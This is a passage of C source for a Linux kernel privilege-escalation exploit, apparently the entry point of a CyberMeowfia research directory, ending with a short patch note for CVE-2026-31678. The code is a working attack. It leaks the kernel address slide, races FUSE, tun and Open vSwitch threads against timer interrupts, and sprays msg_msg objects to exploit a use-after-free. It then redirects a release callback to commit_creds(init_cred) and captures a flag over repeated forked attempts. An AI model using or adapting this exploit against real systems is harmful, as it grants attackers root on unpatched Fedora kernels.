fuse_mount_release=detach_or_private_namespace_exit\n",
F29_ATTEMPTS,
TIMER_POLL_WAITERS, TIMER_EPOLL_DUPLICATES,
(unsigned long long)TIMER_CLUSTER_ARM_NS,
F11_PREFIX_ACTIONS, F11_METADATA_ACTIONS,
(unsigned long long)F10_BACKOFF_STABLE_NS,
(unsigned long long)F29_SEND_LEAD_NS,
(unsigned long long)F29_SEND_LEAD_MIN_NS,
(unsigned long long)F29_SEND_LEAD_MAX_NS,
(unsigned long long)F29_TARGET_AFTER_OBSERVED_MIN_NS,
(unsigned long long)F29_TARGET_AFTER_OBSERVED_MAX_NS,
(unsigned long long)F29_TARGET_AFTER_FIRST_MIN_NS,
(unsigned long long)F29_TARGET_AFTER_FIRST_MAX_NS,
(unsigned long long)F29_LATE_SEND_RETRY_MAX_NS);
kernel_slide = leak_image_slide_checked() + FEDORA_IMAGE_EDGE_BIAS;
known_page = known_page_anchor(f5_known_page_builder, &kernel_slide);
enter_user_net_namespace();
result = f5_setup_fuse();
if (result)
goto stop_all;
f5_gates[F5_GATE1].tun_fd = f5_open_tun(F5_TUN1_NAME);
f5_gates[F5_GATE2].tun_fd = f5_open_tun(F5_TUN2_NAME);
if (f5_gates[F5_GATE1].tun_fd < 0 ||
f5_gates[F5_GATE2].tun_fd < 0) {
result = f5_gates[F5_GATE1].tun_fd < 0 ?
f5_gates[F5_GATE1].tun_fd :
f5_gates[F5_GATE2].tun_fd;
goto stop_all;
}
/* Generic-netlink request handling is synchronous in this task. Close
* the remaining per-CPU SLUB boundary by allocating the target on the
* writer/refill CPU, then restore the inherited CPU-0 consumer route. */
pin_cpu(1);
setup_cpu_before = sched_getcpu();
if (setup_cpu_before != 1) {
result = -EXDEV;
goto stop_all;
}
result = f5_setup_network(&context, &control, &route, &target_port);
setup_cpu_after = sched_getcpu();
if (result)
goto stop_all;
if (setup_cpu_after != 1) {
result = -EXDEV;
goto stop_all;
}
pin_cpu(0);
consumer_cpu_after = sched_getcpu();
if (consumer_cpu_after != 0) {
result = -EXDEV;
goto stop_all;
}
fprintf(stderr,
"F29_ALLOCATION_CPU_CLOSURE setup_cpu_before=%d setup_cpu_after=%d consumer_cpu_after=%d target_setup=synchronous_genl allocation_cpu=1 writer_cpu=1 refill_cpu=1 single_cpu_affinity=1 allocation_free_refill_cpu_equal=1 cache=kmalloc-cg-4k object_identity_oracle=none acceptance=flag_only\n",
setup_cpu_before, setup_cpu_after, consumer_cpu_after);
context.packet_fd = packet_open_internal(context.sh.dp_ifindex,
&bypass);
if (context.packet_fd < 0) {
result = context.packet_fd;
goto stop_all;
}
build_test_frame(frame, 0x6931);
context.frame = frame;
context.lead_ns = F10_ARM_GUARD_NS;
fprintf(stderr,
"F5_READY ns=%llu target=%s port=%u group=%u packet_qdisc_bypass=%d arm_guard_ns=%llu calibration_sends=0 prefix_actions=%u metadata_actions=%u\n",
(unsigned long long)monotonic_ns(), F5_TARGET_NAME,
target_port, F5_GROUP, bypass,
(unsigned long long)context.lead_ns,
F11_PREFIX_ACTIONS, F11_METADATA_ACTIONS);
result = pthread_create(&spray_thread, NULL, f5_sprayer_fn, NULL);
if (!result)
spray_started = 1;
if (!result) {
result = pthread_create(&timer_thread, NULL, timer_noise_fn, NULL);
if (!result)
timer_started = 1;
}
if (!result) {
result = pthread_create(&release_thread, NULL,
f5_release_fn, NULL);
if (!result)
release_started = 1;
}
if (result) {
result = -result;
stop_flag = 1;
goto stop_all;
}
deadline = monotonic_ns() + F5_DEADLINE_NS;
while (!stop_flag &&
(__atomic_load_n(&spray_phase, __ATOMIC_ACQUIRE) !=
SPRAY_DRAINED ||
!__atomic_load_n(&timer_cluster_ready, __ATOMIC_ACQUIRE))) {
if (monotonic_ns() >= deadline) {
result = -ETIMEDOUT;
goto stop_all;
}
usleep(1000);
}
if ((result = wait_for_timer_residency(1)) != 0)
goto stop_all;
result = pthread_create(&tun_threads[F5_GATE1], NULL,
f5_tun_gate_fn, &f5_gates[F5_GATE1]);
if (!result)
tun1_started = 1;
if (!result) {
result = pthread_create(&writer_thread, NULL,
f5_writer_fn, &context);
if (!result)
writer_started = 1;
}
if (!result) {
result = pthread_create(&rtm_thread, NULL, f5_rtm_fn, &context);
if (!result)
rtm_started = 1;
}
if (!result) {
result = pthread_create(&tun_threads[F5_GATE2], NULL,
f5_tun_gate_fn, &f5_gates[F5_GATE2]);
if (!result)
tun2_started = 1;
}
if (!result) {
result = pthread_create(&ovs_thread, NULL, f5_ovs_fn, &context);
if (!result)
ovs_started = 1;
}
if (result) {
result = -result;
stop_flag = 1;
goto stop_all;
}
if ((result = f5_wait_nonzero(&f5_gates[F5_GATE1].tid)) != 0 ||
(result = f5_wait_nonzero(&f5_gates[F5_GATE2].tid)) != 0 ||
(result = f5_wait_nonzero(&f5_writer_tid)) != 0 ||
(result = f5_wait_nonzero(&f5_rtm_tid)) != 0 ||
(result = f5_wait_nonzero(&f5_ovs_tid)) != 0)
goto stop_all;
__atomic_store_n(&f5_gates[F5_GATE1].go, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&f5_gates[F5_GATE1].go);
if ((result = f5_wait_flag(&f5_reads[F5_GATE1].pending)) != 0)
goto stop_all;
__atomic_store_n(&f5_writer_go, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&f5_writer_go);
if ((result = f5_wait_flag(&f5_writer_entered)) != 0)
goto stop_all;
if ((result = f5_wait_mutex_sleep("writer", f5_writer_tid,
&queue_ns[0], NULL)) != 0)
goto stop_all;
__atomic_store_n(&f5_rtm_go, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&f5_rtm_go);
if ((result = f5_wait_flag(&f5_rtm_entered)) != 0)
goto stop_all;
if ((result = f5_wait_mutex_sleep("rtm", f5_rtm_tid,
&queue_ns[1], NULL)) != 0)
goto stop_all;
__atomic_store_n(&f5_gates[F5_GATE2].go, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&f5_gates[F5_GATE2].go);
if ((result = f5_wait_flag(&f5_gates[F5_GATE2].entered)) != 0)
goto stop_all;
if ((result = f5_wait_mutex_sleep("tun2", f5_gates[F5_GATE2].tid,
&queue_ns[2],
"__tun_chr_ioctl")) != 0)
goto stop_all;
__atomic_store_n(&f5_ovs_go, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&f5_ovs_go);
if ((result = f5_wait_flag(&f5_ovs_entered)) != 0)
goto stop_all;
if ((result = f5_wait_mutex_sleep("ovs", f5_ovs_tid,
&queue_ns[3],
"ovs_netdev_link")) != 0)
goto stop_all;
fprintf(stderr,
"F5_QUEUE_CANDIDATE gate1_pending_ns=%llu writer_observed_ns=%llu rtm_observed_ns=%llu tun2_observed_ns=%llu ovs_observed_ns=%llu validation=posthoc_kprobe_required mutex_fifo_claim=none\n",
(unsigned long long)f5_reads[F5_GATE1].request_ns,
(unsigned long long)queue_ns[0],
(unsigned long long)queue_ns[1],
(unsigned long long)queue_ns[2],
(unsigned long long)queue_ns[3]);
if ((result = f5_reply_gate(F5_GATE1)) != 0 ||
(result = f5_wait_flag(&f5_rtm_done)) != 0 ||
(result = f5_wait_flag(&f5_reads[F5_GATE2].pending)) != 0)
goto stop_all;
if (f5_rtm_result || f5_rtm_return_ns >=
f5_reads[F5_GATE2].request_ns) {
result = -EPROTO;
goto stop_all;
}
/* CPU 0 has remained pinned since target setup completed. Keep V22's
* silent pre-arm path and all measured send/target coordinates. */
if ((result = f10_wait_writer_postbarrier_sleep(
&backoff_first_ns, &backoff_observed_ns,
&backoff_voluntary, backoff_wchan)) != 0)
goto stop_all;
if (__atomic_load_n(&f5_writer_done, __ATOMIC_ACQUIRE)) {
result = -EAGAIN;
goto stop_all;
}
result = arm_postsync_timer_cluster(context.lead_ns, &irq_target,
&arming_ns);
if (result)
goto stop_all;
f5_release_target_ns = irq_target + F5_RELEASE_AFTER_IRQ_NS;
__atomic_store_n(&f5_release_go, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&f5_release_go);
/* V18 proved that putting the diagnostic name before this wait preserves
* the requested 70-us lead. */
(void)prctl(PR_SET_NAME, "row41-send", 0, 0, 0);
while (monotonic_ns() + F29_SEND_LEAD_NS < irq_target)
__asm__ volatile("pause");
f5_send_start_ns = monotonic_ns();
f5_send_result = packet_send_internal(context.packet_fd, frame,
&duration);
f5_send_end_ns = monotonic_ns();
fprintf(stderr,
"F5_SEND arm_ns=%llu irq_target_ns=%llu release_target_ns=%llu start_ns=%llu end_ns=%llu duration_ns=%llu start_delta_ns=%lld end_delta_ns=%lld result=%d send_mode=bounded_lead_allocation_cpu_closure send_lead_ns=%llu observed_lead_min_ns=%llu observed_lead_max_ns=%llu name_before_wait=1 backoff_first_ns=%llu backoff_observed_ns=%llu backoff_observed_to_target_ns=%llu backoff_first_to_target_ns=%llu target_after_observed_min_ns=%llu target_after_observed_max_ns=%llu target_after_first_min_ns=%llu target_after_first_max_ns=%llu pin_before_observation=1 prearm_success_output=0 late_send_retry_max_ns=%llu prefix_actions=%u metadata_actions=%u carrier_gate=none\n",
(unsigned long long)arming_ns,
(unsigned long long)irq_target,
(unsigned long long)f5_release_target_ns,
(unsigned long long)f5_send_start_ns,
(unsigned long long)f5_send_end_ns,
(unsigned long long)duration,
(long long)(f5_send_start_ns - irq_target),
(long long)(f5_send_end_ns - irq_target), f5_send_result,
(unsigned long long)F29_SEND_LEAD_NS,
(unsigned long long)F29_SEND_LEAD_MIN_NS,
(unsigned long long)F29_SEND_LEAD_MAX_NS,
(unsigned long long)backoff_first_ns,
(unsigned long long)backoff_observed_ns,
(unsigned long long)(irq_target - backoff_observed_ns),
(unsigned long long)(irq_target - backoff_first_ns),
(unsigned long long)F29_TARGET_AFTER_OBSERVED_MIN_NS,
(unsigned long long)F29_TARGET_AFTER_OBSERVED_MAX_NS,
(unsigned long long)F29_TARGET_AFTER_FIRST_MIN_NS,
(unsigned long long)F29_TARGET_AFTER_FIRST_MAX_NS,
(unsigned long long)F29_LATE_SEND_RETRY_MAX_NS,
F11_PREFIX_ACTIONS, F11_METADATA_ACTIONS);
{
uint64_t evidence_emission_ns = monotonic_ns();
fprintf(stderr,
"F29_POSTBARRIER_EVIDENCE first_ns=%llu observed_ns=%llu stable_ns=%llu writer_tid=%d state=D wchan=%s voluntary=%llu exact_wchan=1 unchanged_voluntary=1 minimum_kernel_backoff_ms=32 prior_rcu_barrier=complete evidence_emission=post_send send_end_ns=%llu emission_ns=%llu prearm_success_output=0\n",
(unsigned long long)backoff_first_ns,
(unsigned long long)backoff_observed_ns,
(unsigned long long)(backoff_observed_ns - backoff_first_ns),
f5_writer_tid, backoff_wchan, backoff_voluntary,
(unsigned long long)f5_send_end_ns,
(unsigned long long)evidence_emission_ns);
}
/* The wrapper's final kfree() leaves one reclaimed msg_msgseg linked to
* its queue. Capture the real flag now, then wake and join every worker
* while explicitly preserving all queues. Only after those joins may the
* flag record cross to the single-threaded parent. */
if (f29_capture_flag(captured_flag, &captured_flag_length)) {
success_captured = 1;
__atomic_store_n(&f29_preserve_spray_queues, 1,
__ATOMIC_RELEASE);
result = 0;
goto stop_all;
}
if ((result = f5_wait_flag(&f5_release_done)) != 0 ||
(result = f5_wait_flag(&f5_gates[F5_GATE2].done)) != 0 ||
(result = f5_wait_flag(&f5_ovs_done)) != 0 ||
(result = f5_wait_flag(&f5_writer_done)) != 0)
goto stop_all;
deadline = monotonic_ns() + F5_DEADLINE_NS;
while (!stop_flag &&
__atomic_load_n(&spray_phase, __ATOMIC_ACQUIRE) !=
SPRAY_FILLED && monotonic_ns() < deadline)
usleep(1000);
if (f5_send_start_ns > irq_target &&
f5_send_start_ns - irq_target <= F29_LATE_SEND_RETRY_MAX_NS)
late_send_retry = 1;
if (f5_gates[F5_GATE1].result || f5_gates[F5_GATE2].result ||
f5_writer_result || f5_rtm_result || f5_ovs_result ||
f5_release_result || f5_send_result ||
!f5_reads[F5_GATE1].replied || !f5_reads[F5_GATE2].replied ||
f5_reads[F5_GATE1].pid != (uint32_t)f5_gates[F5_GATE1].tid ||
f5_reads[F5_GATE2].pid != (uint32_t)f5_gates[F5_GATE2].tid ||
f5_reads[F5_GATE1].offset != 0 ||
f5_reads[F5_GATE2].offset != 4096 ||
f5_reads[F5_GATE1].reply_start_ns >=
f5_gates[F5_GATE1].ioctl_return_ns ||
f5_reads[F5_GATE2].reply_start_ns >=
f5_gates[F5_GATE2].ioctl_return_ns ||
f5_rtm_return_ns >= f5_reads[F5_GATE2].request_ns ||
f5_release_target_ns > f5_reads[F5_GATE2].reply_start_ns ||
!(backoff_first_ns < backoff_observed_ns &&
backoff_observed_ns < f5_send_start_ns &&
(f5_send_start_ns < irq_target || late_send_retry) &&
irq_target < f5_reads[F5_GATE2].reply_start_ns &&
f5_reads[F5_GATE2].reply_start_ns < f5_ovs_return_ns) ||
f5_ovs_return_ns < f5_reads[F5_GATE2].reply_end_ns ||
f5_ovs_return_ns >= f5_send_end_ns ||
f5_writer_return_ns >= race_fill_done_ns ||
race_fill_done_ns >= f5_send_end_ns ||
!(queue_ns[0] < queue_ns[1] && queue_ns[1] < queue_ns[2] &&
queue_ns[2] < queue_ns[3]) ||
__atomic_load_n(&spray_phase, __ATOMIC_ACQUIRE) != SPRAY_FILLED)
result = -EPROTO;
else if (late_send_retry)
result = -ETIME;
stop_all:
stop_flag = 1;
f5_release_go = 1;
f5_writer_go = 1;
f5_rtm_go = 1;
f5_ovs_go = 1;
for (index = 0; index < F5_GATE_COUNT; index++) {
f5_gates[index].go = 1;
futex_wake_all_u32(&f5_gates[index].go);
}
futex_wake_all_u32((volatile unsigned int *)&stop_flag);
futex_wake_all_u32((volatile unsigned int *)&spray_phase);
futex_wake_all_u32(&f5_release_go);
futex_wake_all_u32(&f5_writer_go);
futex_wake_all_u32(&f5_rtm_go);
futex_wake_all_u32(&f5_ovs_go);
cleanup_result = f5_cleanup_fuse_gates();
step_result = f5_stop_fuse_server();
if (!cleanup_result && step_result)
cleanup_result = step_result;
step_result = f5_close_fuse_connection();
if (!cleanup_result && step_result)
cleanup_result = step_result;
#define F29_JOIN_STARTED(thread_, started_) do { \
if (started_) { \
int join_rc_; \
workers_started++; \
join_rc_ = pthread_join((thread_), NULL); \
if (!join_rc_) \
workers_joined++; \
else if (!cleanup_result) \
cleanup_result = -join_rc_; \
} \
} while (0)
F29_JOIN_STARTED(tun_threads[F5_GATE1], tun1_started);
F29_JOIN_STARTED(writer_thread, writer_started);
F29_JOIN_STARTED(rtm_thread, rtm_started);
F29_JOIN_STARTED(tun_threads[F5_GATE2], tun2_started);
F29_JOIN_STARTED(ovs_thread, ovs_started);
F29_JOIN_STARTED(release_thread, release_started);
F29_JOIN_STARTED(timer_thread, timer_started);
F29_JOIN_STARTED(spray_thread, spray_started);
#undef F29_JOIN_STARTED
fprintf(stderr,
"F29_ATTEMPT_THREADS fuse_started=%u fuse_stopped=%u fuse_joined=%u workers_started=%u workers_joined=%u result=%d\n",
__atomic_load_n(&f5_fuse_thread_started, __ATOMIC_RELAXED),
__atomic_load_n(&f5_fuse_thread_stopped, __ATOMIC_RELAXED),
__atomic_load_n(&f5_fuse_thread_joined, __ATOMIC_RELAXED),
workers_started, workers_joined,
workers_started == workers_joined ? 0 : -EDEADLK);
if (workers_started != workers_joined && !cleanup_result)
cleanup_result = -EDEADLK;
step_result = f5_release_fuse_resources();
if (!cleanup_result && step_result)
cleanup_result = step_result;
fprintf(stderr,
"F5_TIMELINE gate1_request=%llu gate1_reply=%llu gate1_return=%llu writer_start=%llu rtm_start=%llu rtm_return=%llu gate2_request=%llu backoff_first=%llu backoff_observed=%llu backoff_voluntary=%llu backoff_wchan=%s send_start=%llu irq_target=%llu release2_start=%llu release2_end=%llu gate2_return=%llu ovs_return=%llu spray_fill=%llu writer_return=%llu user_stage_result=%d late_send_retry=%u late_send_retry_max_ns=%llu posthoc_kprobe_required=1 callback_invocation_permitted=0\n",
(unsigned long long)f5_reads[F5_GATE1].request_ns,
(unsigned long long)f5_reads[F5_GATE1].reply_end_ns,
(unsigned long long)f5_gates[F5_GATE1].ioctl_return_ns,
(unsigned long long)f5_writer_start_ns,
(unsigned long long)f5_rtm_start_ns,
(unsigned long long)f5_rtm_return_ns,
(unsigned long long)f5_reads[F5_GATE2].request_ns,
(unsigned long long)backoff_first_ns,
(unsigned long long)backoff_observed_ns,
backoff_voluntary, backoff_wchan[0] ? backoff_wchan : "none",
(unsigned long long)f5_send_start_ns,
(unsigned long long)irq_target,
(unsigned long long)f5_reads[F5_GATE2].reply_start_ns,
(unsigned long long)f5_reads[F5_GATE2].reply_end_ns,
(unsigned long long)f5_gates[F5_GATE2].ioctl_return_ns,
(unsigned long long)f5_ovs_return_ns,
(unsigned long long)race_fill_done_ns,
(unsigned long long)f5_writer_return_ns, result,
late_send_retry,
(unsigned long long)F29_LATE_SEND_RETRY_MAX_NS);
fprintf(stderr,
"F5_COMPLETE revision=29 rc=%d cleanup_result=%d fatal=%d fuse_failed=%u fuse_joined=%u workers_joined=%u workers_started=%u target_state=carrier_independent postfree_refill=allocation_free_refill_cpu1 timer_poll_waiters=%d timer_epoll_duplicates=%d prefix_actions=%u metadata_actions=%u callback=devcd_dev_release wrapper_call=commit_creds_init_cred direct_commit_creds_dev=forbidden flag_captured=%u send_mode=bounded_lead_allocation_cpu_closure send_lead_ns=%llu observed_lead_min_ns=%llu observed_lead_max_ns=%llu name_before_wait=1 target_phase=postsend_evidence_arm500us target_after_observed_min_ns=%llu target_after_observed_max_ns=%llu target_after_first_min_ns=%llu target_after_first_max_ns=%llu pin_before_observation=1 prearm_success_output=0 late_send_retry=%u late_send_retry_max_ns=%llu refill_count=1024 allocation_cpu=1 writer_cpu=1 refill_cpu=1 consumer_cpu=0 wake_handoff=none success_transport=framed_pipe_after_join success_queue_policy=preserve_all object_identity_oracle=none acceptance=flag_only barrier_model=postbarrier_exact_sleep primitive=6931d21f\n",
result, cleanup_result, fatal_error,
__atomic_load_n(&f5_fuse_failed, __ATOMIC_RELAXED),
__atomic_load_n(&f5_fuse_thread_joined, __ATOMIC_RELAXED),
workers_joined, workers_started,
TIMER_POLL_WAITERS, TIMER_EPOLL_DUPLICATES,
F11_PREFIX_ACTIONS, F11_METADATA_ACTIONS,
__atomic_load_n(&f29_flag_captured, __ATOMIC_RELAXED),
(unsigned long long)F29_SEND_LEAD_NS,
(unsigned long long)F29_SEND_LEAD_MIN_NS,
(unsigned long long)F29_SEND_LEAD_MAX_NS,
(unsigned long long)F29_TARGET_AFTER_OBSERVED_MIN_NS,
(unsigned long long)F29_TARGET_AFTER_OBSERVED_MAX_NS,
(unsigned long long)F29_TARGET_AFTER_FIRST_MIN_NS,
(unsigned long long)F29_TARGET_AFTER_FIRST_MAX_NS,
late_send_retry,
(unsigned long long)F29_LATE_SEND_RETRY_MAX_NS);
if (success_captured) {
if (cleanup_result || fatal_error || f5_fuse_failed ||
workers_started != workers_joined ||
!__atomic_load_n(&f5_fuse_thread_joined, __ATOMIC_ACQUIRE)) {
fprintf(stderr,
"F29_SUCCESS_CLEANUP captured=1 fuse_joined=%u workers_joined=%u workers_started=%u queues_preserved=1024 handoff_record=withheld result=-1\n",
__atomic_load_n(&f5_fuse_thread_joined,
__ATOMIC_RELAXED),
workers_joined, workers_started);
return 1;
}
handoff_result = f29_send_success_record(success_fd, captured_flag,
captured_flag_length);
fprintf(stderr,
"F29_SUCCESS_CLEANUP captured=1 fuse_joined=1 workers_joined=%u workers_started=%u queues_preserved=1024 handoff_record=%s result=%d\n",
workers_joined, workers_started,
handoff_result ? "withheld" : "written", handoff_result);
return handoff_result ? 1 : 0;
}
/* A clean race miss is distinct from failure. */
if (result == -ETIME && !cleanup_result && !fatal_error && !f5_fuse_failed)
return F29_LATE_SEND_EXIT;
return (result || cleanup_result || fatal_error || f5_fuse_failed) ? 1 : 2;
}
int main(int argc, char **argv)
{
int attempt;
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
if (argc == 2 && !strcmp(argv[1], "--attempt")) {
int rc = f29_attempt(F29_SUCCESS_FD);
close(F29_SUCCESS_FD);
fprintf(stderr, "F29_ATTEMPT_EXIT rc=%d method=_exit\n", rc);
_exit(rc);
}
if (argc != 1) {
fprintf(stderr, "F29_BATCH_REJECT reason=arguments\n");
_exit(64);
}
for (attempt = 1; attempt <= F29_ATTEMPTS; attempt++) {
struct f29_success_record record;
int success_pipe[2];
pid_t child;
int status = 0;
int record_result;
if (pipe(success_pipe) < 0) {
fprintf(stderr,
"F29_BATCH_REJECT attempt=%d reason=pipe_error error=%d\n",
attempt, errno);
_exit(1);
}
child = fork();
if (child < 0) {
close(success_pipe[0]);
close(success_pipe[1]);
fprintf(stderr,
"F29_BATCH_REJECT attempt=%d reason=fork_error error=%d\n",
attempt, errno);
_exit(1);
}
if (child == 0) {
close(success_pipe[0]);
if (success_pipe[1] != F29_SUCCESS_FD) {
if (dup2(success_pipe[1], F29_SUCCESS_FD) < 0)
_exit(127);
close(success_pipe[1]);
}
execl("/proc/self/exe", "row41-v29", "--attempt", NULL);
fprintf(stderr,
"F29_ATTEMPT_EXIT rc=127 method=_exit execl_error=%d\n",
errno);
_exit(127);
}
close(success_pipe[1]);
if (waitpid(child, &status, 0) != child) {
close(success_pipe[0]);
fprintf(stderr,
"F29_BATCH_REJECT attempt=%d reason=wait_error error=%d\n",
attempt, errno);
_exit(1);
}
record_result = f29_exact_read_record(success_pipe[0], &record);
close(success_pipe[0]);
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
if (record_result != 1) {
fprintf(stderr,
"F29_BATCH_REJECT attempt=%d reason=missing_or_invalid_success_record result=%d\n",
attempt, record_result);
_exit(1);
}
write_all(STDOUT_FILENO, record.flag, record.length);
write_all(STDOUT_FILENO, "\n", 1);
fprintf(stderr,
"F29_FLAG_EMITTED oracle=open_read_flag transport=validated_pipe parent_output=1 child_exit0=1 cleanup_complete=1 acceptance=flag_only\n");
fprintf(stderr,
"F29_BATCH_COMPLETE attempts_started=%d result=flag_parent_handoff_child_exit0\n",
attempt);
_exit(0);
}
if (record_result != 0) {
fprintf(stderr,
"F29_BATCH_REJECT attempt=%d reason=success_record_without_child_exit0 result=%d\n",
attempt, record_result);
_exit(1);
}
if (WIFEXITED(status) && WEXITSTATUS(status) == 2) {
fprintf(stderr,
"F29_ATTEMPT_RESULT attempt=%d class=clean_miss retryable=1 exited=1 rc=2 signaled=0 signal=0\n",
attempt);
continue;
}
if (WIFEXITED(status) && WEXITSTATUS(status) == 253) {
fprintf(stderr,
"F29_ATTEMPT_RESULT attempt=%d class=pre_race_physmap retryable=1 exited=1 rc=253 signaled=0 signal=0\n",
attempt);
continue;
}
if (WIFEXITED(status) && WEXITSTATUS(status) == 254) {
fprintf(stderr,
"F29_ATTEMPT_RESULT attempt=%d class=pre_race_kaslr retryable=1 exited=1 rc=254 signaled=0 signal=0\n",
attempt);
continue;
}
if (WIFEXITED(status) && WEXITSTATUS(status) == 252) {
fprintf(stderr,
"F29_ATTEMPT_RESULT attempt=%d class=pre_race_address retryable=1 exited=1 rc=252 signaled=0 signal=0\n",
attempt);
continue;
}
if (WIFEXITED(status) && WEXITSTATUS(status) == F29_LATE_SEND_EXIT) {
fprintf(stderr,
"F29_ATTEMPT_RESULT attempt=%d class=late_send_timing retryable=1 exited=1 rc=251 signaled=0 signal=0\n",
attempt);
continue;
}
fprintf(stderr,
"F29_BATCH_REJECT attempt=%d reason=unexpected_attempt_status exited=%d rc=%d signaled=%d signal=%d\n",
attempt, WIFEXITED(status) ? 1 : 0,
WIFEXITED(status) ? WEXITSTATUS(status) : -1,
WIFSIGNALED(status) ? 1 : 0,
WIFSIGNALED(status) ? WTERMSIG(status) : 0);
_exit(1);
}
fprintf(stderr,
"F29_BATCH_COMPLETE attempts_started=%d result=no_flag\n",
F29_ATTEMPTS);
_exit(2);
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in March 2026. The fix preserves the required grace period and device lifetime across both teardown paths. Fedora systems should run a kernel containing the March 2026 upstream correction.
The safest check is the distribution’s own kernel changelog for CVE-2026-31678;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
